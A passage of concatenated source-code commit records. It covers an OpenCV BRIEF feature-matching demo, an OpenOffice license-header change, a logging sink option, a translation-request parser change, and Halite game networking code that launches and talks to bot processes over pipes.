    pts_train.push_back(train[dmatch.trainIdx].pt);

  }

}

void resetH(Mat&H)
{
  H = Mat::eye(3, 3, CV_32FC1);
}
}

int main(int ac, char ** av)
{

  if (ac != 2)
  {
	  help(av);
	  return 1;
  }

  BriefDescriptorExtractor brief(32);

  VideoCapture capture;
  capture.open(atoi(av[1]));
  if (!capture.isOpened())
  {
	  help(av);
	  cout << "capture device " << atoi(av[1]) << " failed to open!" << endl;
    return 1;
  }

  cout << "following keys do stuff:" << endl;
  cout << "t : grabs a reference frame to match against" << endl;
  cout << "l : makes the reference frame new every frame" << endl;
  cout << "q or escape: quit" << endl;

  Mat frame;

  vector<DMatch> matches;

  BruteForceMatcher<Hamming> desc_matcher;

  vector<Point2f> train_pts, query_pts;
  vector<KeyPoint> train_kpts, query_kpts;
  vector<unsigned char> match_mask;

  Mat gray;

  bool ref_live = true;

  Mat train_desc, query_desc;
  const int DESIRED_FTRS = 500;
  GridAdaptedFeatureDetector detector(new FastFeatureDetector(10, true), DESIRED_FTRS, 4, 4);

  Mat H_prev = Mat::eye(3, 3, CV_32FC1);
  for (;;)
  {
    capture >> frame;
    if (frame.empty())
      continue;

    cvtColor(frame, gray, CV_RGB2GRAY);

    detector.detect(gray, query_kpts); //Find interest points

    brief.compute(gray, query_kpts, query_desc); //Compute brief descriptors at each keypoint location

    if (!train_kpts.empty())
    {

      vector<KeyPoint> test_kpts;
      warpKeypoints(H_prev.inv(), query_kpts, test_kpts);

      Mat mask = windowedMatchingMask(test_kpts, train_kpts, 25, 25);
      desc_matcher.match(query_desc, train_desc, matches, mask);
      drawKeypoints(frame, test_kpts, frame, Scalar(255, 0, 0), DrawMatchesFlags::DRAW_OVER_OUTIMG);

      matches2points(train_kpts, query_kpts, matches, train_pts, query_pts);

      if (matches.size() > 5)
      {
        Mat H = findHomography(Mat(train_pts), Mat(query_pts), match_mask, RANSAC, 4);
        if (countNonZero(Mat(match_mask)) > 15)
        {
          H_prev = H;
        }
        else
          resetH(H_prev);
        drawMatchesRelative(train_kpts, query_kpts, matches, frame, match_mask);
      }
      else
        resetH(H_prev);

    }
    else
    {
      H_prev = Mat::eye(3, 3, CV_32FC1);
      Mat out;
      drawKeypoints(gray, query_kpts, out);
      frame = out;
    }

    imshow("frame", frame);

    if (ref_live)
    {
      train_kpts = query_kpts;
      query_desc.copyTo(train_desc);
    }
    char key = waitKey(2);
    switch (key)
    {
      case 'l':
        ref_live = true;
        resetH(H_prev);
        break;
      case 't':
        ref_live = false;
        train_kpts = query_kpts;
        query_desc.copyTo(train_desc);
        resetH(H_prev);
        break;
      case 27:
      case 'q':
        return 0;
        break;
    }

  }
  return 0;
}
<|endoftext|>


<commit_before>/*************************************************************************
 *
 *  $RCSfile: factory.hxx,v $
 *
 *  $Revision: 1.3 $
 *
 *  last change: $Author: jbu $ $Date: 2001-01-04 15:57:55 $
 *
 *  The Contents of this file are made available subject to the terms of
 *  either of the following licenses
 *
 *         - GNU Lesser General Public License Version 2.1
 *         - Sun Industry Standards Source License Version 1.1
 *
 *  Sun Microsystems Inc., October, 2000
 *
 *  GNU Lesser General Public License Version 2.1
 *  =============================================
 *  Copyright 2000 by Sun Microsystems, Inc.
 *  901 San Antonio Road, Palo Alto, CA 94303, USA
 *
 *  This library is free software; you can redistribute it and/or
 *  modify it under the terms of the GNU Lesser General Public
 *  License version 2.1, as published by the Free Software Foundation.
 *
 *  This library is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *  Lesser General Public License for more details.
 *
 *  You should have received a copy of the GNU Lesser General Public
 *  License along with this library; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 *  MA  02111-1307  USA
 *
 *
 *  Sun Industry Standards Source License Version 1.1
 *  =================================================
 *  The contents of this file are subject to the Sun Industry Standards
 *  Source License Version 1.1 (the "License"); You may not use this file
 *  except in compliance with the License. You may obtain a copy of the
 *  License at http://www.openoffice.org/license.html.
 *
 *  Software provided under this License is provided on an "AS IS" basis,
 *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
 *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
 *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
 *  See the License for the specific provisions governing your rights and
 *  obligations concerning the Software.
 *
 *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.
 *
 *  Copyright: 2000 by Sun Microsystems, Inc.
 *
 *  All Rights Reserved.
 *
 *  Contributor(s): _______________________________________
 *
 *
 ************************************************************************/
namespace sax_expatwrap {
Reference< XInterface > SAL_CALL SaxWriter_CreateInstance(
    const Reference< XMultiServiceFactory > & rSMgr ) throw (Exception);
OUString SaxWriter_getServiceName() throw();
OUString SaxWriter_getImplementationName() throw();
Sequence< OUString >    SaxWriter_getSupportedServiceNames(void) throw();
}

<commit_msg>INTEGRATION: CWS ooo19126 (1.3.142); FILE MERGED 2005/09/05 16:58:57 rt 1.3.142.1: #i54170# Change license header: remove SISSL<commit_after>/*************************************************************************
 *
 *  OpenOffice.org - a multi-platform office productivity suite
 *
 *  $RCSfile: factory.hxx,v $
 *
 *  $Revision: 1.4 $
 *
 *  last change: $Author: rt $ $Date: 2005-09-08 12:04:13 $
 *
 *  The Contents of this file are made available subject to
 *  the terms of GNU Lesser General Public License Version 2.1.
 *
 *
 *    GNU Lesser General Public License Version 2.1
 *    =============================================
 *    Copyright 2005 by Sun Microsystems, Inc.
 *    901 San Antonio Road, Palo Alto, CA 94303, USA
 *
 *    This library is free software; you can redistribute it and/or
 *    modify it under the terms of the GNU Lesser General Public
 *    License version 2.1, as published by the Free Software Foundation.
 *
 *    This library is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *    Lesser General Public License for more details.
 *
 *    You should have received a copy of the GNU Lesser General Public
 *    License along with this library; if not, write to the Free Software
 *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 *    MA  02111-1307  USA
 *
 ************************************************************************/
namespace sax_expatwrap {
Reference< XInterface > SAL_CALL SaxWriter_CreateInstance(
    const Reference< XMultiServiceFactory > & rSMgr ) throw (Exception);
OUString SaxWriter_getServiceName() throw();
OUString SaxWriter_getImplementationName() throw();
Sequence< OUString >    SaxWriter_getSupportedServiceNames(void) throw();
}

<|endoftext|>


<commit_before>#include <iostream>

#include "cli/shell_font.h"
#include "log/log_sink_file_backend.h"

#include "atframe/atapp_log_sink_maker.h"

namespace atapp {
    namespace detail {
        static util::log::log_wrapper::log_handler_t _log_sink_file(const std::string &sink_name, util::log::log_wrapper &logger, uint32_t index,
                                                                    util::config::ini_value &ini_cfg) {
            std::string file_pattern = ini_cfg["file"].as_cpp_string();
            if (file_pattern.empty()) {
                file_pattern = "server.%N.log";
            }
            size_t max_file_size = 0; // 64KB
            uint32_t rotate_size = 0; // 0-9

            util::log::log_sink_file_backend file_sink;
            if (ini_cfg.get_children().end() != ini_cfg.get_children().find("rotate")) {
                util::config::ini_value &rotate_conf = ini_cfg["rotate"];
                max_file_size = rotate_conf["size"].as<size_t>();
                rotate_size = rotate_conf["number"].as_uint32();
            }

            if (0 == max_file_size) {
                max_file_size = 65536; // 64KB
            }

            if (0 == rotate_size) {
                rotate_size = 10; // 0-9
            }

            file_sink.set_file_pattern(file_pattern);
            file_sink.set_max_file_size(max_file_size);
            file_sink.set_rotate_size(rotate_size);

            if (ini_cfg.get_children().end() != ini_cfg.get_children().find("auto_flush")) {
                uint32_t auto_flush = ini_cfg["auto_flush"].as_uint32();
                file_sink.set_auto_flush(auto_flush);
            }

            return file_sink;
        }

        static void _log_sink_stdout_handle(const util::log::log_wrapper::caller_info_t &caller, const char *content, size_t content_size) {
            std::cout.write(content, content_size);
            std::cout << std::endl;
        }

        static util::log::log_wrapper::log_handler_t _log_sink_stdout(const std::string &sink_name, util::log::log_wrapper &logger, uint32_t index,
                                                                      util::config::ini_value &ini_cfg) {
            return _log_sink_stdout_handle;
        }

        static void _log_sink_stderr_handle(const util::log::log_wrapper::caller_info_t &caller, const char *content, size_t content_size) {
            util::cli::shell_stream ss(std::cerr);
            ss() << util::cli::shell_font_style::SHELL_FONT_COLOR_RED << content << std::endl;
        }

        static util::log::log_wrapper::log_handler_t _log_sink_stderr(const std::string &sink_name, util::log::log_wrapper &logger, uint32_t index,
                                                                      util::config::ini_value &ini_cfg) {
            return _log_sink_stderr_handle;
        }
    } // namespace detail

    log_sink_maker::log_sink_maker() {}

    log_sink_maker::~log_sink_maker() {}

    const std::string &log_sink_maker::get_file_sink_name() {
        static std::string ret = "file";
        return ret;
    }

    log_sink_maker::log_reg_t log_sink_maker::get_file_sink_reg() { return detail::_log_sink_file; }

    const std::string &log_sink_maker::get_stdout_sink_name() {
        static std::string ret = "stdout";
        return ret;
    }

    log_sink_maker::log_reg_t log_sink_maker::get_stdout_sink_reg() { return detail::_log_sink_stdout; }

    const std::string &log_sink_maker::get_stderr_sink_name() {
        static std::string ret = "stderr";
        return ret;
    }

    log_sink_maker::log_reg_t log_sink_maker::get_stderr_sink_reg() { return detail::_log_sink_stderr; }
} // namespace atapp
<commit_msg>1. 升级部分依赖库 2. 改变sample的echosvr的默认端口（WSL下地端口listen会失败）<commit_after>#include <iostream>

#include "cli/shell_font.h"
#include "log/log_sink_file_backend.h"

#include "atframe/atapp_log_sink_maker.h"

namespace atapp {
    namespace detail {
        static util::log::log_wrapper::log_handler_t _log_sink_file(const std::string &sink_name, util::log::log_wrapper &logger, uint32_t index,
                                                                    util::config::ini_value &ini_cfg) {
            std::string file_pattern = ini_cfg["file"].as_cpp_string();
            if (file_pattern.empty()) {
                file_pattern = "server.%N.log";
            }
            size_t max_file_size = 0; // 64KB
            uint32_t rotate_size = 0; // 0-9

            util::log::log_sink_file_backend file_sink;
            if (ini_cfg.get_children().end() != ini_cfg.get_children().find("rotate")) {
                util::config::ini_value &rotate_conf = ini_cfg["rotate"];
                max_file_size = rotate_conf["size"].as<size_t>();
                rotate_size = rotate_conf["number"].as_uint32();
            }

            if (0 == max_file_size) {
                max_file_size = 65536; // 64KB
            }

            if (0 == rotate_size) {
                rotate_size = 10; // 0-9
            }

            file_sink.set_file_pattern(file_pattern);
            file_sink.set_max_file_size(max_file_size);
            file_sink.set_rotate_size(rotate_size);

            if (ini_cfg.get_children().end() != ini_cfg.get_children().find("auto_flush")) {
                uint32_t auto_flush = ini_cfg["auto_flush"].as_uint32();
                file_sink.set_auto_flush(auto_flush);
            }

            if (ini_cfg.get_children().end() != ini_cfg.get_children().find("flush_interval")) {
                util::config::duration_value flush_interval = ini_cfg["flush_interval"].as_duration();
                file_sink.set_flush_interval(flush_interval.sec);
            }

            return file_sink;
        }

        static void _log_sink_stdout_handle(const util::log::log_wrapper::caller_info_t &caller, const char *content, size_t content_size) {
            std::cout.write(content, content_size);
            std::cout << std::endl;
        }

        static util::log::log_wrapper::log_handler_t _log_sink_stdout(const std::string &sink_name, util::log::log_wrapper &logger, uint32_t index,
                                                                      util::config::ini_value &ini_cfg) {
            return _log_sink_stdout_handle;
        }

        static void _log_sink_stderr_handle(const util::log::log_wrapper::caller_info_t &caller, const char *content, size_t content_size) {
            util::cli::shell_stream ss(std::cerr);
            ss() << util::cli::shell_font_style::SHELL_FONT_COLOR_RED << content << std::endl;
        }

        static util::log::log_wrapper::log_handler_t _log_sink_stderr(const std::string &sink_name, util::log::log_wrapper &logger, uint32_t index,
                                                                      util::config::ini_value &ini_cfg) {
            return _log_sink_stderr_handle;
        }
    } // namespace detail

    log_sink_maker::log_sink_maker() {}

    log_sink_maker::~log_sink_maker() {}

    const std::string &log_sink_maker::get_file_sink_name() {
        static std::string ret = "file";
        return ret;
    }

    log_sink_maker::log_reg_t log_sink_maker::get_file_sink_reg() { return detail::_log_sink_file; }

    const std::string &log_sink_maker::get_stdout_sink_name() {
        static std::string ret = "stdout";
        return ret;
    }

    log_sink_maker::log_reg_t log_sink_maker::get_stdout_sink_reg() { return detail::_log_sink_stdout; }

    const std::string &log_sink_maker::get_stderr_sink_name() {
        static std::string ret = "stderr";
        return ret;
    }

    log_sink_maker::log_reg_t log_sink_maker::get_stderr_sink_reg() { return detail::_log_sink_stderr; }
} // namespace atapp
<|endoftext|>


<commit_before>/*
 * Copyright 2007-2017 Content Management AG
 * All rights reserved.
 *
 * author: Max Kellermann <mk@cm4all.com>
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * - Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 *
 * - Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the
 * distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE
 * FOUNDATION OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
 * OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include "InvalidateParser.hxx"
#include "Request.hxx"
#include "util/ByteOrder.hxx"
#include "util/RuntimeError.hxx"
#include "pool/pool.hxx"

gcc_pure
static std::pair<const char *, const char *>
GetInvalidateNameValue(const TranslateRequest &request,
                       TranslationCommand command) noexcept
{
    switch (command) {
    case TranslationCommand::URI:
        return std::make_pair("uri", request.uri);

    case TranslationCommand::PARAM:
        return std::make_pair("param", request.param);

    case TranslationCommand::SESSION:
        return std::make_pair("session", "?");

    case TranslationCommand::LISTENER_TAG:
        return std::make_pair("listener_tag", request.listener_tag);

    case TranslationCommand::REMOTE_HOST:
        return std::make_pair("remote_host", request.remote_host);

    case TranslationCommand::HOST:
        return std::make_pair("host", request.host);

    case TranslationCommand::LANGUAGE:
        return std::make_pair("language", request.accept_language);

    case TranslationCommand::USER_AGENT:
        return std::make_pair("user_agent", request.user_agent);

    case TranslationCommand::UA_CLASS:
        return std::make_pair("ua_class", request.ua_class);

    case TranslationCommand::QUERY_STRING:
        return std::make_pair("query_string", request.query_string);

    case TranslationCommand::INTERNAL_REDIRECT:
        return std::make_pair("internal_redirect", "?");

    case TranslationCommand::ENOTDIR_:
        return std::make_pair("enotdir", "?");

    case TranslationCommand::USER:
        return std::make_pair("user", request.user);

    default:
        return std::make_pair("?", "?");
    }
}

std::string
TranslationInvalidateRequest::ToString() const noexcept
{
    std::string result;

    for (TranslationCommand command : commands) {
        auto nv = GetInvalidateNameValue(*this, command);

        if (!result.empty())
            result.push_back(' ');

        result.append(nv.first);
        result.push_back('=');
        result.push_back('"');
        result.append(nv.second);
        result.push_back('"');
    }

    return result;
}

static void
apply_translation_packet(TranslateRequest &request,
                         enum TranslationCommand command,
                         const char *payload, size_t payload_length)
{
    switch (command) {
    case TranslationCommand::URI:
        request.uri = payload;
        break;

    case TranslationCommand::PARAM:
        request.param = payload;
        break;

    case TranslationCommand::SESSION:
        request.session = { payload, payload_length };
        break;

    case TranslationCommand::LISTENER_TAG:
        request.listener_tag = payload;
        break;

        /* XXX
    case TranslationCommand::LOCAL_ADDRESS:
        request.local_address = payload;
        break;
        */

    case TranslationCommand::REMOTE_HOST:
        request.remote_host = payload;
        break;

    case TranslationCommand::HOST:
        request.host = payload;
        break;

    case TranslationCommand::LANGUAGE:
        request.accept_language = payload;
        break;

    case TranslationCommand::USER_AGENT:
        request.user_agent = payload;
        break;

    case TranslationCommand::UA_CLASS:
        request.ua_class = payload;
        break;

    case TranslationCommand::QUERY_STRING:
        request.query_string = payload;
        break;

    case TranslationCommand::INTERNAL_REDIRECT:
        request.internal_redirect = { payload, payload_length };
        break;

    case TranslationCommand::ENOTDIR_:
        request.enotdir = { payload, payload_length };
        break;

    case TranslationCommand::USER:
        request.user = payload;
        break;

    default:
        /* unsupported */
        throw FormatRuntimeError("Unsupported packet: %u", unsigned(command));
    }
}

TranslationInvalidateRequest
ParseTranslationInvalidateRequest(struct pool &pool,
                                  const void *data, size_t length)
{
    TranslationInvalidateRequest request;

    if (length % 4 != 0)
        /* must be padded */
        throw std::runtime_error("Not padded");

    while (length > 0) {
        const auto *header = (const TranslationHeader *)data;
        if (length < sizeof(*header))
            throw std::runtime_error("Partial header");

        size_t payload_length = FromBE16(header->length);
        const auto command =
            TranslationCommand(FromBE16(uint16_t(header->command)));

        data = header + 1;
        length -= sizeof(*header);

        if (length < payload_length)
            throw std::runtime_error("Truncated payload");

        const char *payload = payload_length > 0
            ? p_strndup(&pool, (const char *)data, payload_length)
            : "";
        if (command == TranslationCommand::SITE)
            request.site = payload;
        else {
            apply_translation_packet(request, command, payload,
                                     payload_length);

            if (!request.commands.checked_append(command))
                throw std::runtime_error("Too many commands");
        }

        payload_length = ((payload_length + 3) | 3) - 3; /* apply padding */

        data = (const char *)data + payload_length;
        length -= payload_length;
    }

    return request;
}
<commit_msg>translation/InvalidateParser: support SITE in ToString()<commit_after>/*
 * Copyright 2007-2017 Content Management AG
 * All rights reserved.
 *
 * author: Max Kellermann <mk@cm4all.com>
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * - Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 *
 * - Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the
 * distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE
 * FOUNDATION OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
 * OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include "InvalidateParser.hxx"
#include "Request.hxx"
#include "util/ByteOrder.hxx"
#include "util/RuntimeError.hxx"
#include "pool/pool.hxx"

gcc_pure
static std::pair<const char *, const char *>
GetInvalidateNameValue(const TranslateRequest &request,
                       TranslationCommand command) noexcept
{
    switch (command) {
    case TranslationCommand::URI:
        return std::make_pair("uri", request.uri);

    case TranslationCommand::PARAM:
        return std::make_pair("param", request.param);

    case TranslationCommand::SESSION:
        return std::make_pair("session", "?");

    case TranslationCommand::LISTENER_TAG:
        return std::make_pair("listener_tag", request.listener_tag);

    case TranslationCommand::REMOTE_HOST:
        return std::make_pair("remote_host", request.remote_host);

    case TranslationCommand::HOST:
        return std::make_pair("host", request.host);

    case TranslationCommand::LANGUAGE:
        return std::make_pair("language", request.accept_language);

    case TranslationCommand::USER_AGENT:
        return std::make_pair("user_agent", request.user_agent);

    case TranslationCommand::UA_CLASS:
        return std::make_pair("ua_class", request.ua_class);

    case TranslationCommand::QUERY_STRING:
        return std::make_pair("query_string", request.query_string);

    case TranslationCommand::INTERNAL_REDIRECT:
        return std::make_pair("internal_redirect", "?");

    case TranslationCommand::ENOTDIR_:
        return std::make_pair("enotdir", "?");

    case TranslationCommand::USER:
        return std::make_pair("user", request.user);

    default:
        return std::make_pair("?", "?");
    }
}

std::string
TranslationInvalidateRequest::ToString() const noexcept
{
    std::string result;

    if (site != nullptr) {
        result.append("site=\"");
        result.append(site);
        result.push_back('"');
    }

    for (TranslationCommand command : commands) {
        auto nv = GetInvalidateNameValue(*this, command);

        if (!result.empty())
            result.push_back(' ');

        result.append(nv.first);
        result.push_back('=');
        result.push_back('"');
        result.append(nv.second);
        result.push_back('"');
    }

    return result;
}

static void
apply_translation_packet(TranslateRequest &request,
                         enum TranslationCommand command,
                         const char *payload, size_t payload_length)
{
    switch (command) {
    case TranslationCommand::URI:
        request.uri = payload;
        break;

    case TranslationCommand::PARAM:
        request.param = payload;
        break;

    case TranslationCommand::SESSION:
        request.session = { payload, payload_length };
        break;

    case TranslationCommand::LISTENER_TAG:
        request.listener_tag = payload;
        break;

        /* XXX
    case TranslationCommand::LOCAL_ADDRESS:
        request.local_address = payload;
        break;
        */

    case TranslationCommand::REMOTE_HOST:
        request.remote_host = payload;
        break;

    case TranslationCommand::HOST:
        request.host = payload;
        break;

    case TranslationCommand::LANGUAGE:
        request.accept_language = payload;
        break;

    case TranslationCommand::USER_AGENT:
        request.user_agent = payload;
        break;

    case TranslationCommand::UA_CLASS:
        request.ua_class = payload;
        break;

    case TranslationCommand::QUERY_STRING:
        request.query_string = payload;
        break;

    case TranslationCommand::INTERNAL_REDIRECT:
        request.internal_redirect = { payload, payload_length };
        break;

    case TranslationCommand::ENOTDIR_:
        request.enotdir = { payload, payload_length };
        break;

    case TranslationCommand::USER:
        request.user = payload;
        break;

    default:
        /* unsupported */
        throw FormatRuntimeError("Unsupported packet: %u", unsigned(command));
    }
}

TranslationInvalidateRequest
ParseTranslationInvalidateRequest(struct pool &pool,
                                  const void *data, size_t length)
{
    TranslationInvalidateRequest request;

    if (length % 4 != 0)
        /* must be padded */
        throw std::runtime_error("Not padded");

    while (length > 0) {
        const auto *header = (const TranslationHeader *)data;
        if (length < sizeof(*header))
            throw std::runtime_error("Partial header");

        size_t payload_length = FromBE16(header->length);
        const auto command =
            TranslationCommand(FromBE16(uint16_t(header->command)));

        data = header + 1;
        length -= sizeof(*header);

        if (length < payload_length)
            throw std::runtime_error("Truncated payload");

        const char *payload = payload_length > 0
            ? p_strndup(&pool, (const char *)data, payload_length)
            : "";
        if (command == TranslationCommand::SITE)
            request.site = payload;
        else {
            apply_translation_packet(request, command, payload,
                                     payload_length);

            if (!request.commands.checked_append(command))
                throw std::runtime_error("Too many commands");
        }

        payload_length = ((payload_length + 3) | 3) - 3; /* apply padding */

        data = (const char *)data + payload_length;
        length -= payload_length;
    }

    return request;
}
<|endoftext|>


<commit_before><commit_msg>coverity#735311 Unchecked return value<commit_after><|endoftext|>


<commit_before>#include "Networking.hpp"

#include <time.h>
#include <fstream>
#include <sstream>
#include <algorithm>
#include <stdio.h>
#include <chrono>
#include <thread>
#include <mutex>

std::mutex coutMutex;

std::string serializeMapSize(const hlt::Map & map) {
	std::string returnString = "";
	std::ostringstream oss;
	oss << map.map_width << ' ' << map.map_height << ' ';
	returnString = oss.str();
	return returnString;
}

std::string serializeProductions(const hlt::Map & map) {
	std::string returnString = "";
	std::ostringstream oss;
	for(auto a = map.contents.begin(); a != map.contents.end(); a++) {
		for(auto b = a->begin(); b != a->end(); b++) {
			oss << (unsigned short)(b->production) << ' ';
		}
	}
	returnString = oss.str();
	return returnString;
}

std::string Networking::serializeMap(const hlt::Map & map) {
	std::string returnString = "";
	std::ostringstream oss;

	//Run-length encode of owners
	unsigned short currentOwner = map.contents[0][0].owner;
	unsigned short counter = 0;
	for(int a = 0; a < map.contents.size(); ++a) {
		for(int b = 0; b < map.contents[a].size(); ++b) {
			if (map.contents[a][b].owner == currentOwner) {
				counter++;
			}
			else {
				oss << (unsigned short)counter << ' ' << (unsigned short)currentOwner << ' ';
				counter = 1;
				currentOwner = map.contents[a][b].owner;
			}
		}
	}
	//Place the last run into the string
	oss << (unsigned short)counter << ' ' << (unsigned short)currentOwner << ' ';

	//Encoding of ages
	for(int a = 0; a < map.contents.size(); ++a) {
		for(int b = 0; b < map.contents[a].size(); ++b) {
			oss << (unsigned short)map.contents[a][b].strength << ' ';
		}
	}

	returnString = oss.str();

	return returnString;
}

std::set<hlt::Move> Networking::deserializeMoveSet(std::string & inputString) {
	std::set<hlt::Move> moves = std::set<hlt::Move>();

	std::stringstream iss(inputString);
	hlt::Location l;
	int d;
	while (iss >> l.x >> l.y >> d) moves.insert({ l, (unsigned char)d });

	return moves;
}

void Networking::sendString(unsigned char playerTag, std::string &sendString) {
	//End message with newline character
	sendString += '\n';

	#ifdef _WIN32
	WinConnection connection = connections[playerTag - 1];

	DWORD charsWritten;
	bool success;
	success = WriteFile(connection.write, sendString.c_str(), sendString.length(), &charsWritten, NULL);
	if (!success || charsWritten == 0) {
		if(!program_output_style) std::cout << "Problem writing to pipe\n";
		throw 1;
	}
	#else
	UniConnection connection = connections[playerTag - 1];
	ssize_t charsWritten = write(connection.write, sendString.c_str(), sendString.length());
	if(charsWritten < sendString.length()) {
		if(!program_output_style) std::cout << "Problem writing to pipe\n";
		throw 1;
	}
	#endif
}

std::string Networking::getString(unsigned char playerTag, unsigned int timeoutMillis) {
	srand(time(NULL));

	std::string newString;
#ifdef _WIN32
	WinConnection connection = connections[playerTag - 1];

	DWORD charsRead;
	bool success;
	char buffer;

	//Keep reading char by char until a newline
	while (true) {
		//Check to see that there are bytes in the pipe before reading
		//Throw error if no bytes in alloted time
		//Check for bytes before sampling clock, because reduces latency (vast majority the pipe is alread full)
		DWORD bytesAvailable = 0;
		PeekNamedPipe(connection.read, NULL, 0, NULL, &bytesAvailable, NULL);
		if (bytesAvailable < 1) {
			clock_t initialTime = clock();
			while (bytesAvailable < 1) {
				if (((clock() - initialTime) * 1000 / CLOCKS_PER_SEC) > timeoutMillis) throw 1;
				PeekNamedPipe(connection.read, NULL, 0, NULL, &bytesAvailable, NULL);
			}
		}

		success = ReadFile(connection.read, &buffer, 1, &charsRead, NULL);
		if (!success || charsRead < 1) {
			if(!program_output_style) std::cout << "Pipe probably timed out\n";
			throw 1;
		}
		if (buffer == '\n') break;
		else newString += buffer;
	}
#else
	UniConnection connection = connections[playerTag - 1];

	fd_set set;
	FD_ZERO(&set); /* clear the set */
	FD_SET(connection.read, &set); /* add our file descriptor to the set */

	struct timeval timeout;
	timeout.tv_sec = timeoutMillis / 1000.0;
	timeout.tv_usec = (timeoutMillis % 1000)*1000;

	char buffer;

	//Keep reading char by char until a newline
	while(true) {
		//Check if there are bytes in the pipe
		int selectionResult = select(connection.read+1, &set, NULL, NULL, &timeout);

		if(selectionResult > 0) {
			read(connection.read, &buffer, 1);

			if (buffer == '\n') break;
			else newString += buffer;
		} else {
			if(!program_output_style) {
				// Buffer error message output
				// If a bunch of bots fail at onces, we dont want to be writing to cout at the same time
				// That looks really weird
				std::string errorMessage = "";
				errorMessage += std::string("Unix bot timeout or error ") + std::to_string(selectionResult) + std::string("\n");

				playerLogs[playerTag-1].push_back(newString);
				errorMessage += "#---------ALL OF THE OUTPUT OF THE BOT THAT TIMED OUT----------#\n";
				for(auto stringIter = playerLogs[playerTag-1].begin(); stringIter != playerLogs[playerTag-1].end(); stringIter++) {
					while(stringIter->size() < 60) stringIter->push_back(' ');
					errorMessage += "# " + *stringIter + " #\n";
				}
				errorMessage += "#--------------------------------------------------------------#\n";

				std::lock_guard<std::mutex> guard(coutMutex);
				std::cout << errorMessage;
			}
			throw 1;
		}
	}
#endif
	//Python turns \n into \r\n
	if (newString.at(newString.size() - 1) == '\r') newString.pop_back();

	playerLogs[playerTag-1].push_back(newString);

	return newString;
}

void Networking::startAndConnectBot(std::string command) {
#ifdef _WIN32
	command = "/C " + command;

	WinConnection parentConnection, childConnection;

	SECURITY_ATTRIBUTES saAttr;
	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
	saAttr.bInheritHandle = TRUE;
	saAttr.lpSecurityDescriptor = NULL;

	//Child stdout pipe
	if (!CreatePipe(&parentConnection.read, &childConnection.write, &saAttr, 0)) {
		if(!program_output_style) std::cout << "Could not create pipe\n";
		throw 1;
	}
	if (!SetHandleInformation(parentConnection.read, HANDLE_FLAG_INHERIT, 0)) throw 1;

	//Child stdin pipe
	if (!CreatePipe(&childConnection.read, &parentConnection.write, &saAttr, 0)) {
		if(!program_output_style) std::cout << "Could not create pipe\n";
		throw 1;
	}
	if (!SetHandleInformation(parentConnection.write, HANDLE_FLAG_INHERIT, 0)) throw 1;

	//MAKE SURE THIS MEMORY IS ERASED
	PROCESS_INFORMATION piProcInfo;
	ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));

	STARTUPINFO siStartInfo;
	ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
	siStartInfo.cb = sizeof(STARTUPINFO);
	siStartInfo.hStdError = childConnection.write;
	siStartInfo.hStdOutput = childConnection.write;
	siStartInfo.hStdInput = childConnection.read;
